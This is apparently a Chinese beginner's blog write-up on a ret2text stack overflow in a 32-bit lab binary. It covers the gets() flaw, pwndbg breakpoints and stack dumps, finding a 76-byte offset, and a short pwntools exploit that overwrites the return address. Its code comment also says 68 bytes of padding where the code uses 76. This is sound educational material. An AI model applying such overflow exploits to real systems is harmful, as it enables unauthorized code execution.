初学者视角:我是如何一步步调试理解ret2text的

0x01.基础指令

详见:https://zz-zz-955.github.io/hugo-dev/p/gdb%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8%E4%BD%BF%E7%94%A8pwndbg%E6%8F%92%E4%BB%B6/

0x02.使用gdb调试ret2text

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=321b931a0d7856bf5bba57b9ceb0c0fcc1ed737b, for GNU/Linux 3.2.0, not stripped

看到是32位可执行文件,用IDA进行静态调试。

在伪代码中查看vuln函数内容。

int vuln()
{
  char s[68]; // [esp+0h] [ebp-48h] BYREF

  puts("There is something amazing here, do you know anything?");
  gets(s);
  return printf("Maybe I will tell you next time !");
}

从中得知漏洞由gets函数触发,现在我们进gdb中进行调试。

反汇编 vulnerable 函数,看看它的结构。

0x0804920d <+43>:    call   0x8049060 <gets@plt> # 漏洞点
0x08049209 <+39>:    lea    eax,[ebp-0x48] # 这一段就是偏移量,0x48换成Dec就是72,之后加上

我们根据上述信息大致画出这样的一个图来表示栈空间情况

高地址
+-----------------------+
|                       |
|    调用者的栈帧...     |
|                       |
+-----------------------+ <--- 调用前的 ESP
|    返回地址 (EIP)      |  // 由 call vuln 压入 (目标!)
+-----------------------+ <--- 进入 vuln 后的 ESP
|      保存的 EBP        |  // push ebp (vuln+0) ← 这里就是当前EBP指向的位置
+-----------------------+ <--- EBP 指向这里 (vuln+1)
|      保存的 EBX        |  // push ebx (vuln+4)
+-----------------------+
|                       |
|   分配的空间 (0x44)    |  // sub esp, 0x44
|                       |
+-----------------------+ <--- 当前的 ESP
|                       |
|      buf[72字节]       |  // [ebp - 0x48]  ← 你的数据从这里开始写入
|                       |
+-----------------------+ <--- EBP - 0x48
低地址

启动调试并设置关键断点

# 在`vuln`入口处下断点
b vuln

# 在`gets`调用前下断点
b *0x0804920d

# 在`gets`返回后下断点
b *0x08049212

# 在 ret 指令前下断点
b *0x0804922c

# 运行程序
run

观察进入函数时的栈帧(在 vuln 断点处)

# 查看寄存器
i r

# 记录关键地址
p $ebp
p $esp

此时栈帧状态:

+-----------------------+
|    返回地址 (EIP)      |  ← ESP指向这里
+-----------------------+
|      保存的 EBP        | 
+-----------------------+
|      保存的 EBX        |
+-----------------------+
|         ...           |

观察调用 gets 前的栈帧(在 call gets 断点处)

# 继续执行
c

# 再次查看栈帧
stack 20

# 查看 buf 的地址
p $ebp - 0x48

从中我们看到:

  • ESP 指向 gets 的参数(buf的地址)
  • EBP 保持不变
  • 栈上已经分配了局部变量空间

单步执行并输入测试数据

pwndbg> ni
Breakpoint 3, 0x08049212 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
 EAX  0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
 EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf14 (_DYNAMIC) ◂— 1
*ECX  0xf7faa9c0 (_IO_stdfile_0_lock) ◂— 0
 EDX  1
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
 EBP  0xffffd048 ◂— 'saaataaa'
 ESP  0xffffcff0 —▸ 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
*EIP  0x8049212 (vuln+48) ◂— add esp, 0x10
───────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────
   0x8049203 <vuln+33>    add    esp, 0x10
   0x8049206 <vuln+36>    sub    esp, 0xc
   0x8049209 <vuln+39>    lea    eax, [ebp - 0x48]
   0x804920c <vuln+42>    push   eax
b+ 0x804920d <vuln+43>    call   gets@plt                    <gets@plt>

 ► 0x8049212 <vuln+48>    add    esp, 0x10               ESP => 0xffffd000 (0xffffcff0 + 0x10)
   0x8049215 <vuln+51>    sub    esp, 0xc                ESP => 0xffffcff4 (0xffffd000 - 0xc)
   0x8049218 <vuln+54>    lea    eax, [ebx - 0x1fb0]     EAX => 0x804a050 ◂— 'Maybe I will tell you next time !'
   0x804921e <vuln+60>    push   eax
   0x804921f <vuln+61>    call   printf@plt                  <printf@plt>

   0x8049224 <vuln+66>    add    esp, 0x10
───────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcff0 —▸ 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
01:0004│-054 0xffffcff4 ◂— 0x20 /* ' ' */
02:0008│-050 0xffffcff8 ◂— 0
03:000c│-04c 0xffffcffc —▸ 0x80491ee (vuln+12) ◂— add ebx, 0x2e12
04:0010│ eax 0xffffd000 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
05:0014│-044 0xffffd004 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
06:0018│-040 0xffffd008 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
07:001c│-03c 0xffffd00c ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
─────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
 ► 0 0x8049212 vuln+48
   1 0x61616174 None
   2 0xffffd200 None
Continuing.

Breakpoint 4, 0x0804922c in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
*EAX  0x21
*EBX  0x61616172 ('raaa')
*ECX  0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
*EBP  0x61616173 ('saaa')
*ESP  0xffffd04c ◂— 'taaa'
*EIP  0x804922c (vuln+74) ◂— ret
───────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────
 ► 0x804922c <vuln+74>    ret                                <0x61616174>
    ↓









───────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd04c ◂— 'taaa'
01:0004│     0xffffd050 —▸ 0xffffd200 ◂— 0x3e8
02:0008│     0xffffd054 ◂— 0x70 /* 'p' */
03:000c│     0xffffd058 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
04:0010│     0xffffd05c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10
05:0014│     0xffffd060 ◂— 1
06:0018│     0xffffd064 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
07:001c│     0xffffd068 —▸ 0xffffd11c —▸ 0xffffd2c4 ◂— 'HOSTTYPE=x86_64'
─────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
 ► 0 0x804922c vuln+74
   1 0x61616174 None
   2 0xffffd200 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 30
Warning: Avoided exploring possible address 0xffccab8b.
You can explicitly explore it with `vmmap-explore 0xffcca000`
00:0000│ esp 0xffffd04c ◂— 'taaa'
01:0004│     0xffffd050 —▸ 0xffffd200 ◂— 0x3e8
02:0008│     0xffffd054 ◂— 0x70 /* 'p' */
03:000c│     0xffffd058 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
04:0010│     0xffffd05c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10
05:0014│     0xffffd060 ◂— 1
06:0018│     0xffffd064 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
07:001c│     0xffffd068 —▸ 0xffffd11c —▸ 0xffffd2c4 ◂— 'HOSTTYPE=x86_64'
08:0020│     0xffffd06c —▸ 0xffffd080 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
09:0024│     0xffffd070 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0a:0028│     0xffffd074 —▸ 0x804922d (main) ◂— push ebp
0b:002c│     0xffffd078 ◂— 1
0c:0030│     0xffffd07c —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
0d:0034│     0xffffd080 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0e:0038│     0xffffd084 —▸ 0xffffd114 —▸ 0xffffd285 ◂— '/home/zhailin/Binary-Security/Stack Overflow-x86/ret2text/vuln'
0f:003c│     0xffffd088 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0
10:0040│     0xffffd08c —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
11:0044│     0xffffd090 ◂— 0x8067c5be
12:0048│     0xffffd094 ◂— 0xcbceafae
13:004c│     0xffffd098 ◂— 0
... ↓        2 skipped
16:0058│     0xffffd0a4 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0
17:005c│     0xffffd0a8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
18:0060│     0xffffd0ac ◂— 0x8b8b0700
19:0064│     0xffffd0b0 —▸ 0xf7ffda40 ◂— 0
1a:0068│     0xffffd0b4 —▸ 0xf7da04a6 (__libc_start_call_main+6) ◂— add ebx, 0x208b5a
1b:006c│     0xffffd0b8 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
1c:0070│     0xffffd0bc —▸ 0xf7da05f3 (__libc_start_main+147) —▸ 0xffccab8b ◂— 0xffccab8b
1d:0074│     0xffffd0c0 ◂— 0

esp 0xffffd04c ◂— 'taaa'中得知返回地址已经被覆盖

最后计算出偏移量是76

EXPLOIT

from pwn import *

p = process('./vuln')
pwn_addr = 0x080491A6  
payload = b'A' * 76 + p32(pwn_addr)  # 68字节填充 + pwn()地址

p.sendline(payload)
p.interactive()

初学者视角:我是如何一步步调试理解ret2text的
https://zer0ptr.github.io/2025/09/20/pwndbg-ret2sth/
Author
hakmaple
Posted on
September 20, 2025
Licensed under